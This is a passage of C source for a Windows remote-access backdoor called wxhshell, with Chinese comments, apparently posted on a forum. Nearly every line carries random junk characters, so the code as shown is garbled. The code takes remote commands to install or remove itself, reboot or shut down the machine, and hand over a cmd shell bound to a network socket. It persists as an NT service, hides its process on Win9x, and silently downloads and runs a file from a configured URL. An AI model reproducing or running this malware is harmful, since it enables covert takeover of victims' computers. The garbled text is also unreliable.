v1`bDS?*Q  
    switch(cmd[0]) { S/#) :,YS  
  zv$=*  
  // 帮助 dbf^A1HI  
  case '?': { /ig^7+#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); u!=]zW%  
    break; >=.ch5h3J)  
  } @ef//G+Z"  
  // 安装 |N phG|  
  case 'i': { ;`X`c  
    if(Install()) J>,'P^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fY| @{]rx  
    else v*vub#wP  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D'HL /[@`  
    break; K8yWg\K  
    } GV `idFd  
  // 卸载 umq$4}T '$  
  case 'r': { z{ Zimr  
    if(Uninstall()) !?tu! M<1?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $i1>?pb3  
    else Hl4vLx@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &F@tmM~  
    break; (hD X4;4  
    } e#76h;  
  // 显示 wxhshell 所在路径 +lY\r +;  
  case 'p': { hr/xpQW  
    char svExeFile[MAX_PATH]; mI _ 6f~  
    strcpy(svExeFile,"\n\r"); ;ph+ZV  
      strcat(svExeFile,ExeFile); DYy@t^sC  
        send(wsh,svExeFile,strlen(svExeFile),0); LaAgoarN  
    break; .HH,l  
    } S4@117z5  
  // 重启 ~|$) 1  
  case 'b': { \kua9bK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s5_1}KKCs  
    if(Boot(REBOOT)) Zp% ""  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); bKZAJLnd  
    else { =6"hj,[Q  
    closesocket(wsh); #=)?s 8T  
    ExitThread(0); YQfZiz}Fv  
    } RN cI]oJ  
    break; +ik N) D  
    } {4V:[*3  
  // 关机 %>x0*T$$  
  case 'd': { y7}~T!UyfF  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); _3FMQY(  
    if(Boot(SHUTDOWN)) s525`Q;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6i?kkULBS  
    else { ] BP^.N=  
    closesocket(wsh); DI"dY ug#  
    ExitThread(0); lN]X2 4t  
    } "~ i#9L/H  
    break; s>"WQ|;6  
    } 5u=U--  
  // 获取shell ,rvZW}=  
  case 's': { S quqaX+<  
    CmdShell(wsh); Z)Xq!]~/g  
    closesocket(wsh); pqNoL* H  
    ExitThread(0); Di5Op(S((  
    break; 37<GG)  
  } /fcwz5~  
  // 退出 #!F8n`C-  
  case 'x': { s3fGX|;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); X  f'  
    CloseIt(wsh); M#22Zfxq   
    break; @?($j)9}  
    } )Lv6vnT>  
  // 离开 }~0{1&  
  case 'q': { y|2g"J  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); iR4,$Nn>  
    closesocket(wsh); 8mQd*GGu1  
    WSACleanup(); mSvTnd8  
    exit(1); nG(|7x   
    break; Xb07 l3UG  
        } s$=B~l  
  } m<VL19o>R  
  } B+e~k?O]1  
xX67bswG  
  // 提示信息 WY ^K7U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <P Z\qE*+y  
} _ZvX"{y~  
  } EWvid4QEi  
9DocId.  
  return; 7C 6BZ$(  
} %%-Tjw o  
9"l%tq_  
// shell模块句柄 nq w*oLFQ  
int CmdShell(SOCKET sock) Zq6ebj  
{ @rDv (W  
STARTUPINFO si; 4h2bk\z-  
ZeroMemory(&si,sizeof(si)); N'1[t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,'@ISCK^  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; '\3.isTsx  
PROCESS_INFORMATION ProcessInfo; DW;.R<8  
char cmdline[]="cmd"; k? _$h<Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ;:K?7wfXn  
  return 0; MJk:s[o  
} ^<H#dkECG  
<MDFf nj  
// 自身启动模式 m$e@<~To  
int StartFromService(void) [E&"9%K  
{ Tu T=  
typedef struct @zpHem dB  
{ =?QQb>  
  DWORD ExitStatus; "nS{ ;:  
  DWORD PebBaseAddress; vcUM]m8k   
  DWORD AffinityMask; Pp")hFx  
  DWORD BasePriority; Szob_IEq,  
  ULONG UniqueProcessId; RI].LB_  
  ULONG InheritedFromUniqueProcessId; A 5\"e^>  
}   PROCESS_BASIC_INFORMATION; L?pvz}  
gcY~_'&u  
PROCNTQSIP NtQueryInformationProcess; ,@j& q  
), x3tTR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =I*ZOE3n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; B?>#cpW j  
P<w>1 =  
  HANDLE             hProcess; Ymh2qGcj]8  
  PROCESS_BASIC_INFORMATION pbi; UHm+5%ZC  
K%~Kg9  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); {s^n|b}  
  if(NULL == hInst ) return 0; So0,)  
W!Os ci  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); kO O~%|1CP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SX<>6vH&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); N,'qMoNf  
( ]uoN4  
  if (!NtQueryInformationProcess) return 0; ;{#M  
SX94,5 _Q  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AI`1N%Owi  
  if(!hProcess) return 0; J*kzJ{vwy*  
SOY#, Zu  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;Z0cD*Jb  
j-\^ }K.&  
  CloseHandle(hProcess); +=F);;!  
+/ d8d  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); JL+[1=uE1L  
if(hProcess==NULL) return 0; )eVDp,.^  
"g&l~N1$  
HMODULE hMod; 5+PBS)pJ]%  
char procName[255]; /VOST^z!  
unsigned long cbNeeded; K0bmU(Xxp  
~V)VGGOL$v  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mCP +7q7  
+(hwe jyC  
  CloseHandle(hProcess); sjbC~Te--  
jF2GHyB  
if(strstr(procName,"services")) return 1; // 以服务启动 |r!Qhb.!  
;C@^wI  
  return 0; // 注册表启动 .ceU @^  
} Bc` A]U  
WN?`Od:y  
// 主模块 \%Ih 6  
int StartWxhshell(LPSTR lpCmdLine) [IX!3I[J]  
{ 2G*#Czr"  
  SOCKET wsl; `e:RZ  
BOOL val=TRUE; UmMYe4LQR  
  int port=0; ."g5+xX  
  struct sockaddr_in door; faeyk]u  
8&iI+\lCy  
  if(wscfg.ws_autoins) Install(); ))-M+CA  
:re(khZq#  
port=atoi(lpCmdLine); H_^u_ %:e  
`SpS?mWA  
if(port<=0) port=wscfg.ws_port; QRix_2+  
23?0'AU  
  WSADATA data;  PW\FcT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V)?g4M3}  
i(#c Yb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ny<G2! W  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H%jIjf  
  door.sin_family = AF_INET; 4E94W,1%,Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $6+P&"8  
  door.sin_port = htons(port); = nN*9HRD  
|xC TX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mh SsOmJ5  
closesocket(wsl); vWga>IGM  
return 1; LU=)\U@Q  
} WM7/|.HQ  
9E*K44L/V  
  if(listen(wsl,2) == INVALID_SOCKET) { <W{0@?y  
closesocket(wsl); "+Yn;9  
return 1; q.Mck9R7  
} !S}Au Mw  
  Wxhshell(wsl); @_Oe`j^  
  WSACleanup(); u$^` hzfI  
jiD8|%}v  
return 0; a#j^gu$m  
xJ.!Q)[  
} `)P_X4e]`  
TniKH( w/  
// 以NT服务方式启动 `cRB!w=KHV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -w0>4JDs  
{ }J lW\#  
DWORD   status = 0; I=-;*3g6  
  DWORD   specificError = 0xfffffff; 73<yrBxp  
 `a9>4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; U Bg_b?k  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *a.*Ha  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kV<)>Gs  
  serviceStatus.dwWin32ExitCode     = 0; )SLs  [  
  serviceStatus.dwServiceSpecificExitCode = 0; pZn%g]nRD  
  serviceStatus.dwCheckPoint       = 0; }Elce}  
  serviceStatus.dwWaitHint       = 0; 1#u w^{n  
^!tI+F{n{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); xz'd5 re%  
  if (hServiceStatusHandle==0) return; jzw?V9Ijb  
U /Fomu  
status = GetLastError(); VG7#6)sQoK  
  if (status!=NO_ERROR) r $2   
{ AXI:h"so  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J8'zvH&I  
    serviceStatus.dwCheckPoint       = 0; xb;m m9H  
    serviceStatus.dwWaitHint       = 0; f ebh1rUX  
    serviceStatus.dwWin32ExitCode     = status; fe/6JV  
    serviceStatus.dwServiceSpecificExitCode = specificError; e8v=n@0  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p$ <qT^]&  
    return; a06q-3zw  
  } }A ^,y  
P ie!Su`  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; |0mI3r  
  serviceStatus.dwCheckPoint       = 0; h!]A(T\J  
  serviceStatus.dwWaitHint       = 0; K@hUif|([  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &9{BuBO[  
} oPBjsQ  
x=)$sD-3  
// 处理NT服务事件,比如:启动、停止  (La  
VOID WINAPI NTServiceHandler(DWORD fdwControl) gV;GC{pY  
{ '+wTrW m~j  
switch(fdwControl) /L^dHI]Q  
{ }5U f`pM8  
case SERVICE_CONTROL_STOP: 8m0sEV>  
  serviceStatus.dwWin32ExitCode = 0; >S]')O$c  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V|`|CVFo]  
  serviceStatus.dwCheckPoint   = 0; Zv93cv  
  serviceStatus.dwWaitHint     = 0; VV0$L=mo  
  { >AJ|F)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [l:.Q?? )|  
  } s,x]zG"  
  return; eW%jDsC  
case SERVICE_CONTROL_PAUSE: RdHR[Usm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `Mg "!n`  
  break; eo[^ij  
case SERVICE_CONTROL_CONTINUE: X;tk\Ixd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; E .5xzY  
  break; }XU- J An  
case SERVICE_CONTROL_INTERROGATE: UJ:B:hh''  
  break; -%|I  
}; <i-RF-*S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); l<?wB|1'  
} NBX/V^  
*Yw6UCO  
// 标准应用程序主函数 R#M).2::  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :Ib\v88WIv  
{ d\M !o*U  
jK53-tF~I  
// 获取操作系统版本 ,~#hHhR_  
OsIsNt=GetOsVer(); J)o%83//  
GetModuleFileName(NULL,ExeFile,MAX_PATH); sP%.o7&n  
>rubMGb  
  // 从命令行安装 +l(}5(wc  
  if(strpbrk(lpCmdLine,"iI")) Install(); ><~hOK?v  
I5]zOKlVR  
  // 下载执行文件 w0iE x1i  
if(wscfg.ws_downexe) { \\JXY*DA:+  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) T~>:8i  
  WinExec(wscfg.ws_filenam,SW_HIDE); {'%=tJ[YX  
} TF>F7v(,45  
ix;8S=eP~{  
if(!OsIsNt) { ^(R gSMuT`  
// 如果时win9x,隐藏进程并且设置为注册表启动 D5x^O2  
HideProc(); ,PY e7c  
StartWxhshell(lpCmdLine); g:yK/1@Hk}  
} 9 pn1d.  
else V5+a[`]  
  if(StartFromService()) &PX'=UT  
  // 以服务方式启动 VbjW$?  
  StartServiceCtrlDispatcher(DispatchTable); p WHu[Fu  
else .anL}OA_q  
  // 普通方式启动 uHYI :(O  
  StartWxhshell(lpCmdLine); ,U}8(D~:  
75y#^pD?c  
return 0; b%(0AL  
}
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只看该作者 1 发表于: 2006-10-10
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